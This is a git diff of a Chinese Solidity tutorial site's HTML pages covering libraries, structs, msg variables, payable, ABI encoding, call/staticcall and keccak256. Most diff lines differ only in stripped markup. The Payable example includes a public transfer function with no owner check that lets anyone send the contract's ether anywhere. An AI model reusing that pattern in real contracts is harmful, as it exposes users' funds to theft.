    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -// 1. 只有internal方法,会内嵌到调用合约中
    +// 1. 只有internal方法,会内嵌到调用合约中
     library SafeMath {
    -    function add(uint x, uint y) internal pure returns (uint) {
    +    function add(uint x, uint y) internal pure returns (uint) {
             uint z = x + y;
    -        require(z >= x, "uint overflow");
    +        require(z >= x, "uint overflow");
     
    -        return z;
    +        return z;
         }
     }
     
    -library Math {
    -    function sqrt(uint y) internal pure returns (uint z) {
    -        if (y > 3) {
    +library Math {
    +    function sqrt(uint y) internal pure returns (uint z) {
    +        if (y > 3) {
                 z = y;
    -            uint x = y / 2 + 1;
    -            while (x < z) {
    +            uint x = y / 2 + 1;
    +            while (x < z) {
                     z = x;
    -                x = (y / x + x) / 2;
    +                x = (y / x + x) / 2;
                 }
    -        } else if (y != 0) {
    -            z = 1;
    +        } else if (y != 0) {
    +            z = 1;
             }
    -        // else z = 0 (default value)
    +        // else z = 0 (default value)
         }
     }
     
     contract TestSafeMath {
    -      // 对uint类型增加SafeMath的方法,
    -      // 1. 后续定义的uint变量就会自动绑定SafeMath提供的方法: uint x;
    -      // 2. 这个变量会作为第一个参数传递给函数: x.add(y);
    -    using SafeMath for uint;
    +      // 对uint类型增加SafeMath的方法,
    +      // 1. 后续定义的uint变量就会自动绑定SafeMath提供的方法: uint x;
    +      // 2. 这个变量会作为第一个参数传递给函数: x.add(y);
    +    using SafeMath for uint;
     
    -    uint public MAX_UINT = 2**256 - 1;
    +    uint public MAX_UINT = 2**256 - 1;
     
    -      // 用法1:x.方法(y)
    -    function testAdd(uint x, uint y) public pure returns (uint) {
    -        return x.add(y);
    +      // 用法1:x.方法(y)
    +    function testAdd(uint x, uint y) public pure returns (uint) {
    +        return x.add(y);
         }
     
    -      // 用法2:库.方法(x)
    -    function testSquareRoot(uint x) public pure returns (uint) {
    -        return Math.sqrt(x);
    +      // 用法2:库.方法(x)
    +    function testSquareRoot(uint x) public pure returns (uint) {
    +        return Math.sqrt(x);
         }
     }
     
    -// 2. 存在public方法时,会单独部署库合约,并且第一个参数是状态变量类型
    -library Array {
    -      // 修改调用者状态变量的方式,第一个参数是状态变量本身
    -    function remove(uint[] storage arr, uint index) public {
    -        // Move the last element into the place to delete
    -        require(arr.length > 0, "Can't remove from empty array");
    -        arr[index] = arr[arr.length - 1];
    +// 2. 存在public方法时,会单独部署库合约,并且第一个参数是状态变量类型
    +library Array {
    +      // 修改调用者状态变量的方式,第一个参数是状态变量本身
    +    function remove(uint[] storage arr, uint index) public {
    +        // Move the last element into the place to delete
    +        require(arr.length > 0, "Can't remove from empty array");
    +        arr[index] = arr[arr.length - 1];
             arr.pop();
         }
     }
     
     contract TestArray {
    -    using Array for uint[];
    +    using Array for uint[];
     
         uint[] public arr;
     
    -    function testArrayRemove() public {
    -        for (uint i = 0; i < 3; i++) {
    +    function testArrayRemove() public {
    +        for (uint i = 0; i < 3; i++) {
                 arr.push(i);
             }
     
    -        arr.remove(1);
    +        arr.remove(1);
     
    -        assert(arr.length == 2);
    -        assert(arr[0] == 0);
    -        assert(arr[1] == 2);
    +        assert(arr.length == 2);
    +        assert(arr[0] == 0);
    +        assert(arr[1] == 2);
         }
     }
     
    @@ -3161,7 +3157,7 @@

    参考link:

    @@ -3247,14 +3243,6 @@

    参考link:

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/30_\344\274\240\351\200\222\347\273\223\346\236\204\344\275\223.html" "b/cn/01_solidity\345\237\272\347\241\200/30_\344\274\240\351\200\222\347\273\223\346\236\204\344\275\223.html" index 512b6c93..c6bb31fc 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/30_\344\274\240\351\200\222\347\273\223\346\236\204\344\275\223.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/30_\344\274\240\351\200\222\347\273\223\346\236\204\344\275\223.html" @@ -36,10 +36,6 @@ - - - - @@ -3025,7 +3021,7 @@

    第30节:传递结构体

    如何正确传值:

    案例一:

    https://ethereum.stackexchange.com/questions/72435/how-to-pass-struct-params-in-remix-ide

    -
    pragma solidity ^0.7;
    +
    pragma solidity ^0.7;
     pragma experimental ABIEncoderV2;
     
     contract TestStruct {
    @@ -3035,11 +3031,11 @@ 

    案例一:

    uint256 age; } - mapping (bytes32 => User) users; + mapping (bytes32 => User) users; - function addUsers (User [] memory _users) public { + function addUsers (User [] memory _users) public { - for (uint i = 0; i < _users.length; i++) { + for (uint i = 0; i < _users.length; i++) { bytes32 hash = keccak256(abi.encode(_users[i].name)); users[hash] = _users[i]; @@ -3047,21 +3043,21 @@

    案例一:

    } } - function getUser (string memory username) public view returns (User memory) { + function getUser (string memory username) public view returns (User memory) { bytes32 hash = keccak256(abi.encode(username)); - return users[hash]; + return users[hash]; } }

    输入参数:

    -
    [["Duke", 20], ["Linda", 21]]
    +
    [["Duke", 20], ["Linda", 21]]
     

    测试成功!

    案例二:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity =0.8.10;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity =0.8.10;
     pragma abicoder v2;
     
     contract StructTest {
    @@ -3072,8 +3068,8 @@ 

    案例二:

    address tokenAddress; } - function call(Token [] memory tokens) external { - for (uint8 i = 0; i< tokens.length; i++) { + function call(Token [] memory tokens) external { + for (uint8 i = 0; i< tokens.length; i++) { (uint8 t, address addr) = (tokens[i].tokenType, tokens[i].tokenAddress); emit Info(t, addr); } @@ -3085,7 +3081,7 @@

    案例二:

    但是一直失败!

    原因:地址需要使用双引号包裹传递,正确参数:

    -
    [[0,"0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"],[1,"0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2"]]
    +
    [[0,"0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"],[1,"0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2"]]
     

    当结构体中有数组

    正确做法:

    @@ -3125,7 +3121,7 @@

    错误做法:

    @@ -3211,14 +3207,6 @@

    错误做法:

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/index.html" "b/cn/01_solidity\345\237\272\347\241\200/index.html" index ba61583a..eef23637 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/index.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3056,7 +3052,7 @@

    第一章:solidity基础

    @@ -3142,14 +3138,6 @@

    第一章:solidity基础

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/01_\345\205\250\345\261\200\345\217\230\351\207\217.html" "b/cn/02_solidity\350\277\233\351\230\266/01_\345\205\250\345\261\200\345\217\230\351\207\217.html" index 273cc449..ae6752cc 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/01_\345\205\250\345\261\200\345\217\230\351\207\217.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/01_\345\205\250\345\261\200\345\217\230\351\207\217.html" @@ -36,10 +36,6 @@ - - - - @@ -3131,7 +3127,7 @@

    区块和交易的属性

    @@ -3217,14 +3213,6 @@

    区块和交易的属性

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/02_msg\344\270\211\344\272\272\347\273\204.html" "b/cn/02_solidity\350\277\233\351\230\266/02_msg\344\270\211\344\272\272\347\273\204.html" index dc01ac3b..46cd9b67 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/02_msg\344\270\211\344\272\272\347\273\204.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/02_msg\344\270\211\344\272\272\347\273\204.html" @@ -36,10 +36,6 @@ - - - - @@ -3032,8 +3028,8 @@

    第2节:msg.sender、msg.val
  • msg.data:表示调用这笔交易的信息,由函数签名和函数参数(16进制字符串),组成代理模式时常用msg.data(后续讲解)。
  • msg.sender

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract MsgSender {
     
    @@ -3041,69 +3037,69 @@ 

    msg.sender

    uint256 public value; address public caller; - constructor() { - //在部署合约的时候,设置一个全局唯一的合约所有者,后面可以使用权限控制 + constructor() { + //在部署合约的时候,设置一个全局唯一的合约所有者,后面可以使用权限控制 owner = msg.sender; } - //1. 对与合约而言,msg.sender是一个可以改变的值,并不一定是合约的创造者 - //2. 任何人调用了合约的方法,那么这笔交易中的from就是当前合约中的msg.sender - function setValue(uint256 input) public { + //1. 对与合约而言,msg.sender是一个可以改变的值,并不一定是合约的创造者 + //2. 任何人调用了合约的方法,那么这笔交易中的from就是当前合约中的msg.sender + function setValue(uint256 input) public { value = input; caller = msg.sender; } }

    msg.value

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract MsgValue {
     
    -    // uint256 public money;
    +    // uint256 public money;
     
    -    mapping(address=> uint256) public personToMoney;
    +    mapping(address=> uint256) public personToMoney;
     
    -    // 函数里面使用了msg.value,那么函数要修饰为payable
    -    function play() public payable {
    +    // 函数里面使用了msg.value,那么函数要修饰为payable
    +    function play() public payable {
     
    -        // 如果转账不是100wei,那么参与失败
    -        // 否则成功,并且添加到维护的mapping中
    -        require(msg.value == 100, "should equal to 100!");
    +        // 如果转账不是100wei,那么参与失败
    +        // 否则成功,并且添加到维护的mapping中
    +        require(msg.value == 100, "should equal to 100!");
             personToMoney[msg.sender] = msg.value;
         }
     
    -    // 查询当前合约的余额
    -    function getBalance() public view returns(uint256) {
    -        return address(this).balance;
    +    // 查询当前合约的余额
    +    function getBalance() public view returns(uint256) {
    +        return address(this).balance;
         }
     }
     

    msg.data

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract MsgData {
         event Data(bytes data, bytes4 sig);
     
    -    // input0: addr: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
    -    // input1: amt : 1
    -    function transfer(address addr, uint256 amt) public {
    +    // input0: addr: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
    +    // input1: amt : 1
    +    function transfer(address addr, uint256 amt) public {
             bytes memory data = msg.data;
     
    -        // msg.sig 表示当前方法函数签名(4字节)
    -        // msg.sig 等价于 this.transfer.selector
    +        // msg.sig 表示当前方法函数签名(4字节)
    +        // msg.sig 等价于 this.transfer.selector
             emit Data(data, msg.sig);
         }
     
    -    //output: 
    -    // - data: 0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000001
    -    // - sig: 0xa9059cbb
    +    //output: 
    +    // - data: 0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000001
    +    // - sig: 0xa9059cbb
     
    -    // 对data进行分析:
    -    // 0xa9059cbb //前四字节
    -    // 0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4 //第一个参数占位符(32字节)
    -    // 0000000000000000000000000000000000000000000000000000000000000001 //第二个参数占位符(32字节)
    +    // 对data进行分析:
    +    // 0xa9059cbb //前四字节
    +    // 0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4 //第一个参数占位符(32字节)
    +    // 0000000000000000000000000000000000000000000000000000000000000001 //第二个参数占位符(32字节)
     }
     
    @@ -3133,7 +3129,7 @@

    msg.data

    @@ -3219,14 +3215,6 @@

    msg.data

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/03_payable.html" "b/cn/02_solidity\350\277\233\351\230\266/03_payable.html" index 4e1fded0..ec876619 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/03_payable.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/03_payable.html" @@ -36,10 +36,6 @@ - - - - @@ -3031,33 +3027,33 @@

    第3节:payable

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Payable {
    -    // 1. Payable address can receive Ether
    +    // 1. Payable address can receive Ether
         address payable public owner;
     
    -    // 2. Payable constructor can receive Ether
    -    constructor() payable {
    +    // 2. Payable constructor can receive Ether
    +    constructor() payable {
             owner = payable(msg.sender);
         }
     
    -    // 3. Function to deposit Ether into this contract.
    -    function deposit() public payable {}
    +    // 3. Function to deposit Ether into this contract.
    +    function deposit() public payable {}
     
    -    // 4. Call this function along with some Ether.
    -    // The function will throw an error since this function is not payable.
    -    function notPayable() public {}
    +    // 4. Call this function along with some Ether.
    +    // The function will throw an error since this function is not payable.
    +    function notPayable() public {}
     
    -    // 5. Function to withdraw all Ether from this contract.
    -    function withdraw() public {
    -        uint amount = address(this).balance;
    +    // 5. Function to withdraw all Ether from this contract.
    +    function withdraw() public {
    +        uint amount = address(this).balance;
             owner.transfer(amount);
         }
     
    -    // 6. Function to transfer Ether from this contract to address from input
    -    function transfer(address payable _to, uint _amount) public {
    +    // 6. Function to transfer Ether from this contract to address from input
    +    function transfer(address payable _to, uint _amount) public {
             _to.transfer(_amount);
         }
     }
    @@ -3089,7 +3085,7 @@ 

    第3节:payable

    @@ -3175,14 +3171,6 @@

    第3节:payable

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/04_encode_encodePacked.html" "b/cn/02_solidity\350\277\233\351\230\266/04_encode_encodePacked.html" index 7788844b..09902774 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/04_encode_encodePacked.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/04_encode_encodePacked.html" @@ -36,10 +36,6 @@ - - - - @@ -3028,129 +3024,129 @@

    第4节:abi.encode
  • abi.encodePacked:与abi.encode类似,但是生成的bytes是压缩过的(有些类型不会自动填充,无法传递给合约调用)。
  • 手册:https://docs.soliditylang.org/en/v0.8.13/abi-spec.html?highlight=abi.encodePacked#non-standard-packed-mode
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract AbiDecode {
         struct MyStruct {
             string name;
    -        uint[2] nums;
    +        uint[2] nums;
         }
     
    -    // input: 10, 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, [1,"2",3], ["duke", [10,20]]
    -    // output: 0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000064756b6500000000000000000000000000000000000000000000000000000000
    -    //  output长度:832位16进制字符(去除0x),832 / 32 = 26 (一定是32字节的整数倍,不足填0)
    -    function encode(
    +    // input: 10, 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, [1,"2",3], ["duke", [10,20]]
    +    // output: 0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000064756b6500000000000000000000000000000000000000000000000000000000
    +    //  output长度:832位16进制字符(去除0x),832 / 32 = 26 (一定是32字节的整数倍,不足填0)
    +    function encode(
             uint x,
             address addr,
             uint[] calldata arr,
             MyStruct calldata myStruct
    -    ) external pure returns (bytes memory) {
    -        return abi.encode(x, addr, arr, myStruct);
    +    ) external pure returns (bytes memory) {
    +        return abi.encode(x, addr, arr, myStruct);
         }
     
    -    function decode(bytes calldata data)
    -        external
    -        pure
    -        returns (
    +    function decode(bytes calldata data)
    +        external
    +        pure
    +        returns (
                 uint x,
                 address addr,
                 uint[] memory arr,
                 MyStruct memory myStruct
    -        )
    -    {
    +        )
    +    {
             (x, addr, arr, myStruct) = abi.decode(data, (uint, address, uint[], MyStruct));
     
    -        /* decode output: 
    +        /* decode output: 
                 0: uint256: x 10
                 1: address: addr 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
                 2: uint256[]: arr 1,2,3
                 3: tuple(string,uint256[2]): myStruct ,10,20
    -        */
    +        */
         }
     
    -    // 可以只decode其中部分字段,而不用全部decode,当前案例中,只有第一个字段被解析了,其余为默认值
    -    function decodeLess(bytes calldata data)
    -        external
    -        pure
    -        returns (
    +    // 可以只decode其中部分字段,而不用全部decode,当前案例中,只有第一个字段被解析了,其余为默认值
    +    function decodeLess(bytes calldata data)
    +        external
    +        pure
    +        returns (
                 uint x,
                 address addr,
                 uint[] memory arr,
                 MyStruct memory myStruct
    -        )
    -    {
    +        )
    +    {
             (x) = abi.decode(data, (uint));
     
    -        /* decode output: 
    +        /* decode output: 
                 0: uint256: x 10
                 1: address: addr 0x0000000000000000000000000000000000000000
                 2: uint256[]: arr
                 3: tuple(string,uint256[2]): myStruct ,0,0
    -        */
    +        */
         }
     
    -    // input: -1, 0x42, 0x03, "Hello, world!"
    -    function encodePacked(
    +    // input: -1, 0x42, 0x03, "Hello, world!"
    +    function encodePacked(
             int16 x,
             bytes1 y,
             uint16 z,
             string memory s
    -    ) external view returns (bytes memory) {
    +    ) external view returns (bytes memory) {
     
    -        // encodePacked 不支持struct和mapping
    -        return abi.encodePacked(x, y, z, s);
    +        // encodePacked 不支持struct和mapping
    +        return abi.encodePacked(x, y, z, s);
     
    -        /*
    +        /*
             0xffff42000348656c6c6f2c20776f726c6421
               ^^^^                                 int16(-1)
                   ^^                               bytes1(0x42)
                     ^^^^                           uint16(0x03)
                         ^^^^^^^^^^^^^^^^^^^^^^^^^^ string("Hello, world!") without a length field
    -        */
    +        */
         }
     
    -      // 可以用encodePacked来拼接字符串
    -      // output string: ipfs://bafybeidmrsvehl4ehipm5qqvgegi33r6/100.json
    -      function encodePackedTest() public  pure returns (string memory) {
    -        string memory uri = "ipfs://bafybeidmrsvehl4ehipm5qqvgegi33r6/";
    -        return string(abi.encodePacked(uri, "100", ".json"));
    +      // 可以用encodePacked来拼接字符串
    +      // output string: ipfs://bafybeidmrsvehl4ehipm5qqvgegi33r6/100.json
    +      function encodePackedTest() public  pure returns (string memory) {
    +        string memory uri = "ipfs://bafybeidmrsvehl4ehipm5qqvgegi33r6/";
    +        return string(abi.encodePacked(uri, "100", ".json"));
         }
     }
     

    使用三方库:

    web3js编码:

    -
    // encodeFunctionCall( abi ,参数 ) 得到编码
    +
    // encodeFunctionCall( abi ,参数 ) 得到编码
     
     web3.eth.abi.encodeFunctionCall({
    -    name: 'myMethod',
    -    type: 'function',
    -    inputs: [{
    -        type: 'uint256',
    -        name: 'myNumber'
    +    name: 'myMethod',
    +    type: 'function',
    +    inputs: [{
    +        type: 'uint256',
    +        name: 'myNumber'
         },{
    -        type: 'string',
    -        name: 'myString'
    +        type: 'string',
    +        name: 'myString'
         }]
    -}, ['2345675643', 'Hello!%']);
    -> "0x24ee0097000000000000000000000000000000000000000000000000000000008bd02b7b0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000748656c6c6f212500000000000000000000000000000000000000000000000000"
    +}, ['2345675643', 'Hello!%']);
    +> "0x24ee0097000000000000000000000000000000000000000000000000000000008bd02b7b0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000748656c6c6f212500000000000000000000000000000000000000000000000000"
     

    web3js解码:

    解码时,要将得到的calldata的前四字节去掉,那是函数的selector,不应该参与参数解析。

    -
    //  let res = web3.eth.abi.decodeParameters(abi, calldata)
    +
    //  let res = web3.eth.abi.decodeParameters(abi, calldata)
     
    -async function main() {
    -  let calldata = '' //太大了,删除,去下面线上链接中获取
    -  let abi = [{ "internalType": "string", "name": "_id", "type": "string" }, { "internalType": "string", "name": "_uniqueId", "type": "string" }, { "internalType": "uint8", "name": "_assetFrom", "type": "uint8" }, { "internalType": "uint8", "name": "_action", "type": "uint8" }, { "internalType": "address", "name": "_srcToken", "type": "address" }, { "internalType": "address", "name": "_dstToken", "type": "address" }, { "internalType": "uint256", "name": "_srcAmount", "type": "uint256" }, { "internalType": "uint256", "name": "_srcFeeAmount", "type": "uint256" }, { "internalType": "bytes", "name": "_data", "type": "bytes" }]
    +async function main() {
    +  let calldata = '' //太大了,删除,去下面线上链接中获取
    +  let abi = [{ "internalType": "string", "name": "_id", "type": "string" }, { "internalType": "string", "name": "_uniqueId", "type": "string" }, { "internalType": "uint8", "name": "_assetFrom", "type": "uint8" }, { "internalType": "uint8", "name": "_action", "type": "uint8" }, { "internalType": "address", "name": "_srcToken", "type": "address" }, { "internalType": "address", "name": "_dstToken", "type": "address" }, { "internalType": "uint256", "name": "_srcAmount", "type": "uint256" }, { "internalType": "uint256", "name": "_srcFeeAmount", "type": "uint256" }, { "internalType": "bytes", "name": "_data", "type": "bytes" }]
     
     
    -  let res = web3.eth.abi.decodeParameters(abi, calldata)
    -  console.log('res:', res)
    +  let res = web3.eth.abi.decodeParameters(abi, calldata)
    +  console.log('res:', res)
     }
     

    在线案例:https://web3playground.io/QmSeHtJPLFxweiGB8ocFDXkCZao6Mt5oEJ4Ej66iY3RL1R

    ethersjs

    -
    let bytes2 = mock1Inch.interface.encodeFunctionData("swap", [ETH_ADDR, daiToken.address, 90])
    +
    let bytes2 = mock1Inch.interface.encodeFunctionData("swap", [ETH_ADDR, daiToken.address, 90])
     
    @@ -3179,7 +3175,7 @@

    ethersjs

    @@ -3265,14 +3261,6 @@

    ethersjs

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/05_call&staticcall.html" "b/cn/02_solidity\350\277\233\351\230\266/05_call&staticcall.html" index 56cfe98c..d9035121 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/05_call&staticcall.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/05_call&staticcall.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,62 +3019,62 @@

    第5节:call&staticcall

    职场进阶: https://dukeweb3.com

    call是一种底层调用合约的方式,可以在合约内调用其他合约,call语法为:

    -
    //(bool success, bytes memory data) = addr.call{value: valueAmt, gas: gasAmt}(abi.encodeWithSignature("foo(string,uint256)", 参数1, 参数2)
    +
    //(bool success, bytes memory data) = addr.call{value: valueAmt, gas: gasAmt}(abi.encodeWithSignature("foo(string,uint256)", 参数1, 参数2)
     其中:
    -1. success:执行结果,一定要校验success是否成功,失败务必要回滚
    -2. data:执行调用的返回值,是打包的字节序,需要解析才能得到调用函数的返回值(后续encode_decode详解)
    +1. success:执行结果,一定要校验success是否成功,失败务必要回滚
    +2. data:执行调用的返回值,是打包的字节序,需要解析才能得到调用函数的返回值(后续encode_decode详解)
     

    当调用fallback方式给合约转ether的时候,建议使用call,而不是使用transfer或send方法

    -
    (bool success, bytes memory data) = addr.call{value: 10}("")
    +
    (bool success, bytes memory data) = addr.call{value: 10}("")
     

    对于存在的方法,不建议使用call方式调用。

    -
    (bool success, bytes memory data) = _addr.call(abi.encodeWithSignature("doesNotExist()"));
    +
    (bool success, bytes memory data) = _addr.call(abi.encodeWithSignature("doesNotExist()"));
     

    注意,当调用的方法不存在,且合约又未实现fallback时,交易会调用成功,但是第一个参数为:false,所以使用call调用后一定要检查success状态

    完整demo:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Receiver {
         event Received(address caller, uint amount, string message);
     
         fallback() external payable {
    -        emit Received(msg.sender, msg.value, "Fallback was called");
    +        emit Received(msg.sender, msg.value, "Fallback was called");
         }
     
    -    function foo(string memory _message, uint _x) public payable returns (uint) {
    +    function foo(string memory _message, uint _x) public payable returns (uint) {
             emit Received(msg.sender, msg.value, _message);
     
    -        return _x + 1;
    +        return _x + 1;
         }
     }
     
     contract ReceiverWithOutFallback {
         event Received(address caller, uint amount, string message);
     
    -    function foo(string memory _message, uint _x) public payable returns (uint) {
    +    function foo(string memory _message, uint _x) public payable returns (uint) {
             emit Received(msg.sender, msg.value, _message);
     
    -        return _x + 1;
    +        return _x + 1;
         }
     }
     
     contract Caller {
         event Response(bool success, bytes data);
     
    -    function testCallFoo(address payable _addr) public payable {
    -        // You can send ether and specify a custom gas amount
    -        (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(
    -            abi.encodeWithSignature("foo(string,uint256)", "call foo", 123)
    +    function testCallFoo(address payable _addr) public payable {
    +        // You can send ether and specify a custom gas amount
    +        (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(
    +            abi.encodeWithSignature("foo(string,uint256)", "call foo", 123)
             );
     
             emit Response(success, data);
         }
     
    -    // Calling a function that does not exist triggers the fallback function.
    -    function testCallDoesNotExist(address _addr) public {
    +    // Calling a function that does not exist triggers the fallback function.
    +    function testCallDoesNotExist(address _addr) public {
             (bool success, bytes memory data) = _addr.call(
    -            abi.encodeWithSignature("doesNotExist()")
    +            abi.encodeWithSignature("doesNotExist()")
             );
     
             emit Response(success, data);
    @@ -3094,12 +3090,12 @@ 

    STATICCALL:

  • 与CALL相同,但是不允许修改任何状态变量,是为了安全🔐考虑而新增的OPCODE

  • 在Transparent模式的代理合约逻辑中,就使用了staticcall,从而让proxyAmin能够免费的调用父合约的admin函数,从而从slot中返回代理合约的管理员。这部分会在合约升级章节介绍。

    -
        function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
    -        // We need to manually run the static call since the getter cannot be flagged as view
    -        // bytes4(keccak256("admin()")) == 0xf851a440
    -        (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
    -        require(success);
    -        return abi.decode(returndata, (address));
    +
        function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
    +        // We need to manually run the static call since the getter cannot be flagged as view
    +        // bytes4(keccak256("admin()")) == 0xf851a440
    +        (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
    +        require(success);
    +        return abi.decode(returndata, (address));
         }
     
  • @@ -3131,7 +3127,7 @@

    STATICCALL:

    @@ -3217,14 +3213,6 @@

    STATICCALL:

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/06_keccak256.html" "b/cn/02_solidity\350\277\233\351\230\266/06_keccak256.html" index 2e5c209c..bdbe1bf5 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/06_keccak256.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/06_keccak256.html" @@ -36,10 +36,6 @@ - - - - @@ -3027,39 +3023,39 @@

    第6节:keccak256哈希算法

  • 用于生成唯一id;
  • 生成数据指纹;
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract HashFunction {
    -    function hash(
    +    function hash(
             string memory _text,
             uint _num,
             address _addr
    -    ) public pure returns (bytes32) {
    -        return keccak256(abi.encodePacked(_text, _num, _addr));
    +    ) public pure returns (bytes32) {
    +        return keccak256(abi.encodePacked(_text, _num, _addr));
         }
     
    -    // Example of hash collision
    -    // Hash collision can occur when you pass more than one dynamic data type
    -    // to abi.encodePacked. In such case, you should use abi.encode instead.
    -    function collision(string memory _text, string memory _anotherText)
    -        public
    -        pure
    -        returns (bytes32)
    -    {
    -        // encodePacked(AAA, BBB) -> AAABBB
    -        // encodePacked(AA, ABBB) -> AAABBB
    -        return keccak256(abi.encodePacked(_text, _anotherText));
    +    // Example of hash collision
    +    // Hash collision can occur when you pass more than one dynamic data type
    +    // to abi.encodePacked. In such case, you should use abi.encode instead.
    +    function collision(string memory _text, string memory _anotherText)
    +        public
    +        pure
    +        returns (bytes32)
    +    {
    +        // encodePacked(AAA, BBB) -> AAABBB
    +        // encodePacked(AA, ABBB) -> AAABBB
    +        return keccak256(abi.encodePacked(_text, _anotherText));
         }
     }
     
     contract GuessTheMagicWord {
         bytes32 public answer =
    -        0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00;
    +        0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00;
     
    -    // Magic word is "Solidity"
    -    function guess(string memory _word) public view returns (bool) {
    -        return keccak256(abi.encodePacked(_word)) == answer;
    +    // Magic word is "Solidity"
    +    function guess(string memory _word) public view returns (bool) {
    +        return keccak256(abi.encodePacked(_word)) == answer;
         }
     }
     
    @@ -3090,7 +3086,7 @@

    第6节:keccak256哈希算法

    @@ -3176,14 +3172,6 @@

    第6节:keccak256哈希算法

    - - - - - - - - diff --git "a/cn/02_solidity\350\277\233\351\230\266/07_selector.html" "b/cn/02_solidity\350\277\233\351\230\266/07_selector.html" index 32aa4e1f..38a29139 100644 --- "a/cn/02_solidity\350\277\233\351\230\266/07_selector.html" +++ "b/cn/02_solidity\350\277\233\351\230\266/07_selector.html" @@ -36,10 +36,6 @@ - - - - @@ -3027,119 +3023,119 @@

    四种方式计算selecor

    1. 方式1:abi.encodeWithSignature

      拼装selector和函数参数,我们可以在A合约中得到calldata,并在A合约中通过call方法去调用B合约中的方法,从而实现合约间的调用。举例,下面的代码功能是:在当前合约中使用call调用addr地址中的transfer方法:

      -
